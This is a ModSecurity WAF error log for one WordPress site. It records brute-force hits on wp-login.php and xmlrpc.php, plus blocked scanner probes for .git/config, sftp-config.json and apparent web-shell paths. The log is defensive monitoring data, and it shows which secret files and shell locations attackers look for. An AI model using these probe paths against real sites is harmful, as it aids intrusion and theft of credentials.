[Wed Nov 26 23:18:14.581884 2025] [:error] [pid 45684:tid 45739] [client 185.223.152.86:30305] [client 185.223.152.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.86, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aScaNvg5LMxwI4-PD1esyQAAABg"]
[Wed Nov 26 23:28:47.031947 2025] [:error] [pid 45769:tid 45795] [client 185.223.152.89:23555] [client 185.223.152.89] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.89, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSccr1dG5Eht9c3yy4NVWwAAAdc"]
[Wed Nov 26 23:30:34.859647 2025] [:error] [pid 45685:tid 45757] [client 49.7.227.204:51922] [client 49.7.227.204] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aScdGlj3f_NRdgU0DQ4MFQAAAQ8"]
[Wed Nov 26 23:39:04.036456 2025] [:error] [pid 46443:tid 46446] [client 185.223.152.141:64631] [client 185.223.152.141] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.141, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aScfGMLmDsnHrj-QFB8xIgAAAEE"]
[Wed Nov 26 23:39:15.955159 2025] [:error] [pid 45683:tid 45697] [client 185.223.152.90:35903] [client 185.223.152.90] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.90, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aScfIxX1gQgNFW_222rkOAAAAUk"]
[Wed Nov 26 23:48:40.070338 2025] [:error] [pid 45684:tid 45730] [client 85.237.229.18:36858] [client 85.237.229.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.237.229.18, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSchWPg5LMxwI4-PD1e3GQAAAA8"]
[Wed Nov 26 23:49:53.609432 2025] [:error] [pid 45684:tid 45718] [client 185.223.152.91:50169] [client 185.223.152.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.91, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSchofg5LMxwI4-PD1e3YAAAAAM"]
[Wed Nov 26 23:54:48.797775 2025] [:error] [pid 6471:tid 6483] [client 216.126.239.203:52832] [client 216.126.239.203] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aSciyOh3Z9TZLlRuTiPRpAAAAIk"]
[Thu Nov 27 00:00:09.878948 2025] [:error] [pid 45685:tid 45752] [client 185.223.152.65:50901] [client 185.223.152.65] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.65, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSckCVj3f_NRdgU0DQ4RAwAAAQo"]
[Thu Nov 27 00:10:41.665019 2025] [:error] [pid 6471:tid 6495] [client 185.223.152.4:29279] [client 185.223.152.4] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.4, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aScmgeh3Z9TZLlRuTiPUwQAAAJU"]
[Thu Nov 27 00:20:58.903136 2025] [:error] [pid 46443:tid 46462] [client 185.223.152.69:44769] [client 185.223.152.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.69, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSco6sLmDsnHrj-QFB86OAAAAFE"]
[Thu Nov 27 00:23:14.699820 2025] [:error] [pid 46443:tid 46462] [client 185.223.152.132:55765] [client 185.223.152.132] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.132, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aScpcsLmDsnHrj-QFB86wQAAAFE"]
[Thu Nov 27 00:31:23.417406 2025] [:error] [pid 25180:tid 25197] [client 185.223.152.78:25355] [client 185.223.152.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.78, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aScrW7-owhtiwMHXYlzJMwAAAY8"]
[Thu Nov 27 00:36:51.017064 2025] [:error] [pid 24826:tid 25126] [client 185.223.152.252:43463] [client 185.223.152.252] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.252, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aScso1EvPXLVl-nh-yLYOQAAAQs"]
[Thu Nov 27 00:41:50.950452 2025] [:error] [pid 24826:tid 25118] [client 185.223.152.81:48527] [client 185.223.152.81] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.81, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSctzlEvPXLVl-nh-yLZ0wAAAQM"]
[Thu Nov 27 00:52:16.405852 2025] [:error] [pid 8184:tid 8248] [client 185.223.152.75:50947] [client 185.223.152.75] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.75, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aScwQL-M2IHkRYVrcbN6dQAAAEs"]
[Thu Nov 27 00:52:48.156779 2025] [:error] [pid 24814:tid 25098] [client 185.223.152.131:23357] [client 185.223.152.131] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.131, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aScwYAPn1NMGCdo6RsigtQAAAVc"]
[Thu Nov 27 00:55:41.464429 2025] [:error] [pid 25262:tid 25333] [client 103.77.107.57:62270] [client 103.77.107.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/sftp-config.json"] [unique_id "aScxDU3p81VU3bYILBU9kQAAAgw"]
[Thu Nov 27 00:55:41.722025 2025] [:error] [pid 54723:tid 54736] [client 103.77.107.57:49659] [client 103.77.107.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.vscode/sftp.json"] [unique_id "aScxDQ2CEg7QoyDosdLzbAAAAAY"]
[Thu Nov 27 00:58:35.215203 2025] [:error] [pid 25180:tid 25186] [client 138.68.158.114:10821] [client 138.68.158.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.68.158.114, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aScxu7-owhtiwMHXYlzQ_wAAAYQ"]
[Thu Nov 27 01:02:46.205762 2025] [:error] [pid 54723:tid 54752] [client 185.223.152.85:50849] [client 185.223.152.85] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.85, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aScytg2CEg7QoyDosdL1fQAAABY"]
[Thu Nov 27 01:13:29.804271 2025] [:error] [pid 24826:tid 25126] [client 185.223.152.91:31261] [client 185.223.152.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.91, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSc1OVEvPXLVl-nh-yLgYgAAAQs"]
[Thu Nov 27 01:24:08.792358 2025] [:error] [pid 54723:tid 54734] [client 185.223.152.79:25769] [client 185.223.152.79] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.79, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSc3uA2CEg7QoyDosdL6hAAAAAQ"]
[Thu Nov 27 01:27:40.205148 2025] [:error] [pid 8184:tid 8250] [client 185.223.152.254:35439] [client 185.223.152.254] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.254, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSc4jL-M2IHkRYVrcbOHjAAAAEw"]
[Thu Nov 27 01:30:47.001449 2025] [:error] [pid 25180:tid 25196] [client 185.50.25.47:11321] [client 185.50.25.47] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.50.25.47, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSc5R7-owhtiwMHXYlzXtQAAAY4"]
[Thu Nov 27 01:30:48.240529 2025] [:error] [pid 25180:tid 25182] [client 185.50.25.47:11321] [client 185.50.25.47] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.50.25.47, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSc5SL-owhtiwMHXYlzXtwAAAYA"], referer: https://rcacivilgroup.com/wp-login.php
[Thu Nov 27 01:34:54.334365 2025] [:error] [pid 8184:tid 8251] [client 185.223.152.83:47297] [client 185.223.152.83] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.83, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSc6Pr-M2IHkRYVrcbOJ7AAAAE0"]
[Thu Nov 27 01:42:50.292021 2025] [:error] [pid 25180:tid 25198] [client 172.191.37.184:9396] [client 172.191.37.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/apikey/apikey.php.suspected"] [unique_id "aSc8Gr-owhtiwMHXYlzZsQAAAZA"]
[Thu Nov 27 01:42:50.598813 2025] [:error] [pid 25262:tid 25332] [client 172.191.37.184:9376] [client 172.191.37.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/apikey/apikey.php.suspected"] [unique_id "aSc8Gk3p81VU3bYILBVHFwAAAgs"]
[Thu Nov 27 01:42:50.886046 2025] [:error] [pid 24814:tid 25075] [client 172.191.37.184:9392] [client 172.191.37.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/apikey/apikey.php.suspected"] [unique_id "aSc8GgPn1NMGCdo6RsiqaQAAAUA"]
[Thu Nov 27 01:42:52.011161 2025] [:error] [pid 24814:tid 25087] [client 172.191.37.184:9346] [client 172.191.37.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aSc8HAPn1NMGCdo6RsiqbAAAAUw"], referer: www.google.com
[Thu Nov 27 01:42:53.413900 2025] [:error] [pid 8184:tid 8259] [client 172.191.37.184:9373] [client 172.191.37.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/apikey/apikey.php.suspected"] [unique_id "aSc8Hb-M2IHkRYVrcbOM4wAAAFU"]
[Thu Nov 27 01:42:54.824709 2025] [:error] [pid 25262:tid 25322] [client 172.191.37.184:9385] [client 172.191.37.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aSc8Hk3p81VU3bYILBVHGAAAAgE"], referer: www.google.com
[Thu Nov 27 01:42:55.056895 2025] [:error] [pid 24814:tid 25093] [client 172.191.37.184:9389] [client 172.191.37.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aSc8HwPn1NMGCdo6RsiqdgAAAVI"], referer: www.google.com
[Thu Nov 27 01:42:55.491331 2025] [:error] [pid 25262:tid 25331] [client 172.191.37.184:9400] [client 172.191.37.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/apikey/apikey.php.suspected"] [unique_id "aSc8H03p81VU3bYILBVHGQAAAgo"]
[Thu Nov 27 01:42:57.392913 2025] [:error] [pid 24814:tid 25083] [client 172.191.37.184:9403] [client 172.191.37.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aSc8IQPn1NMGCdo6RsiqeAAAAUg"], referer: www.google.com
[Thu Nov 27 01:42:59.655003 2025] [:error] [pid 25180:tid 25184] [client 172.191.37.184:9361] [client 172.191.37.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aSc8I7-owhtiwMHXYlzZuAAAAYI"], referer: www.google.com
[Thu Nov 27 01:45:14.194939 2025] [:error] [pid 54723:tid 54737] [client 185.223.152.135:24897] [client 185.223.152.135] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.135, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSc8qg2CEg7QoyDosdL_yQAAAAc"]
[Thu Nov 27 01:45:31.920608 2025] [:error] [pid 8184:tid 8237] [client 185.223.152.86:55357] [client 185.223.152.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.86, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSc8u7-M2IHkRYVrcbONfgAAAEE"]
[Thu Nov 27 01:47:45.588802 2025] [:error] [pid 54723:tid 54734] [client 154.0.167.183:42560] [client 154.0.167.183] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.0.167.183, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSc9QQ2CEg7QoyDosdIARAAAAAQ"]
[Thu Nov 27 01:55:34.426622 2025] [:error] [pid 8184:tid 8242] [client 185.223.152.4:24583] [client 185.223.152.4] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.4, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSc_Fr-M2IHkRYVrcbOShgAAAEY"]
[Thu Nov 27 02:04:33.160402 2025] [:error] [pid 24814:tid 25079] [client 206.189.138.44:43632] [client 206.189.138.44] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 206.189.138.44, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSdBMQPn1NMGCdo6RsiuMwAAAUQ"]
[Thu Nov 27 02:04:34.510398 2025] [:error] [pid 24814:tid 25083] [client 206.189.138.44:43632] [client 206.189.138.44] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 206.189.138.44, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSdBMgPn1NMGCdo6RsiuNAAAAUg"], referer: https://rcacivilgroup.com/wp-login.php
[Thu Nov 27 02:05:53.091151 2025] [:error] [pid 24826:tid 25118] [client 185.223.152.91:49155] [client 185.223.152.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.91, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSdBgVEvPXLVl-nh-yLrhQAAAQM"]
[Thu Nov 27 02:09:00.441815 2025] [:error] [pid 24826:tid 25138] [client 192.250.232.94:34252] [client 192.250.232.94] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.250.232.94, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSdCPFEvPXLVl-nh-yLr_AAAARY"]
[Thu Nov 27 02:16:02.927809 2025] [:error] [pid 25180:tid 25184] [client 185.223.152.126:59079] [client 185.223.152.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.126, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSdD4r-owhtiwMHXYlzg2QAAAYI"]
[Thu Nov 27 02:16:11.246241 2025] [:error] [pid 8184:tid 8238] [client 185.223.152.91:46383] [client 185.223.152.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.91, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSdD67-M2IHkRYVrcbOZQgAAAEI"]
[Thu Nov 27 02:27:01.057452 2025] [:error] [pid 8184:tid 8246] [client 185.223.152.66:64303] [client 185.223.152.66] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.66, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSdGdb-M2IHkRYVrcbOcJAAAAEk"]
[Thu Nov 27 02:32:38.561221 2025] [:error] [pid 25180:tid 25194] [client 185.223.152.124:61507] [client 185.223.152.124] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.124, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSdHxr-owhtiwMHXYlzkswAAAYw"]
[Thu Nov 27 02:33:29.312598 2025] [:error] [pid 8184:tid 8258] [client 192.210.133.35:38384] [client 192.210.133.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.210.133.35, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSdH-b-M2IHkRYVrcbOfFwAAAFQ"]
[Thu Nov 27 02:33:30.871651 2025] [:error] [pid 8184:tid 8251] [client 192.210.133.35:38384] [client 192.210.133.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.210.133.35, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSdH-r-M2IHkRYVrcbOfHAAAAE0"], referer: https://rcacivilgroup.com/wp-login.php
[Thu Nov 27 02:37:50.697940 2025] [:error] [pid 25180:tid 25184] [client 185.223.152.72:55841] [client 185.223.152.72] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.72, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSdI_r-owhtiwMHXYlzmPwAAAYI"]
[Thu Nov 27 02:48:21.059485 2025] [:error] [pid 24814:tid 25088] [client 185.223.152.4:26831] [client 185.223.152.4] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.4, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSdLdQPn1NMGCdo6Rsi3DgAAAU0"]
[Thu Nov 27 02:50:33.535833 2025] [:error] [pid 54723:tid 54730] [client 185.223.152.144:46305] [client 185.223.152.144] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.144, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSdL-Q2CEg7QoyDosdIRQAAAAAE"]
[Thu Nov 27 02:58:39.259708 2025] [:error] [pid 25180:tid 25186] [client 185.223.152.81:39961] [client 185.223.152.81] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.81, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSdN37-owhtiwMHXYlzquAAAAYQ"]
[Thu Nov 27 03:06:30.034194 2025] [:error] [pid 54723:tid 54743] [client 185.223.152.128:29837] [client 185.223.152.128] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.128, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSdPtg2CEg7QoyDosdIVkAAAAA0"]
